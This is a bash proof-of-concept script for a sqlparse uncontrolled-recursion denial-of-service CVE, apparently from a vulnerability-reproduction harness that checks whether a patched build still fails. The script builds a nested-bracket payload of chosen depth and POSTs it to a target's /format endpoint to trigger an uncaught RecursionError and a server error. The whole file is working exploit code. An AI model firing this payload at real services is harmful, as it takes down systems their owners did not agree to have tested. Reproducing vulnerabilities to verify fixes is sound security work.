#!/usr/bin/env bash
# CVE-2024-4340 PoC — uncontrolled recursion (CWE-674) DoS in sqlparse.
#
# Sends a single, finite HTTP POST to the target's /format endpoint whose body
# is a deeply-nested bracket payload ('[' * DEPTH + ']' * DEPTH). On the
# vulnerable stack (sqlparse 0.4.4) sqlparse.format() drives recursion in
# TokenList.flatten() (sqlparse/sql.py) past CPython's frame limit, raising an
# uncaught RecursionError inside the nested-grouping path
# (sqlparse/engine/grouping.py). The request handling fails with a server-error
# response and the worker logs the RecursionError traceback anchored in sqlparse.
# On the patched stack (0.5.0) the same request returns HTTP 200 with JSON.
#
# This script ONLY triggers the bug through the network input path. It does not
# decide success — the verifier compares the server-error response + the
# RecursionError traceback (in the container log) against the criterion.
#
# Args:
#   $1 = target base URL (e.g. http://127.0.0.1:8000)
#   $2 = nesting depth (e.g. 10000) — bounded, finite
set -u

TARGET="${1:?usage: run.sh <base_url> <depth>}"
DEPTH="${2:?usage: run.sh <base_url> <depth>}"

# Build the bounded, finite payload: DEPTH open brackets then DEPTH close brackets.
PAYLOAD_FILE="$(mktemp /tmp/cve-2024-4340.payload.XXXXXX)"
python3 -c "import sys; d=int(sys.argv[1]); sys.stdout.write('['*d + ']'*d)" "$DEPTH" > "$PAYLOAD_FILE"

echo "[*] Payload bytes: $(wc -c < "$PAYLOAD_FILE")  (depth=$DEPTH, finite single request body)"
echo "[*] POST ${TARGET}/format"

# --max-time bounds the request. We capture both the HTTP status and curl's exit
# code so either failure mode is visible:
#   - vulnerable: HTTP 500 (Flask returns server-error after the uncaught
#     RecursionError) OR a dropped connection (curl exit 52/56);
#   - patched:    HTTP 200 with a JSON {"formatted": ...} body, curl exit 0.
HTTP_CODE=$(curl -sS -m 60 \
  -o /tmp/cve-2024-4340.response.body \
  -w '%{http_code}' \
  -X POST "${TARGET}/format" \
  -H 'Content-Type: text/plain' \
  --data-binary @"$PAYLOAD_FILE")
RC=$?

echo "[*] http_status=${HTTP_CODE}"
echo "[*] curl_exit_code=${RC}  (0=response received; 52/56=connection dropped before complete response)"
echo "[*] response_body:"
cat /tmp/cve-2024-4340.response.body
echo

rm -f "$PAYLOAD_FILE" /tmp/cve-2024-4340.response.body
exit 0
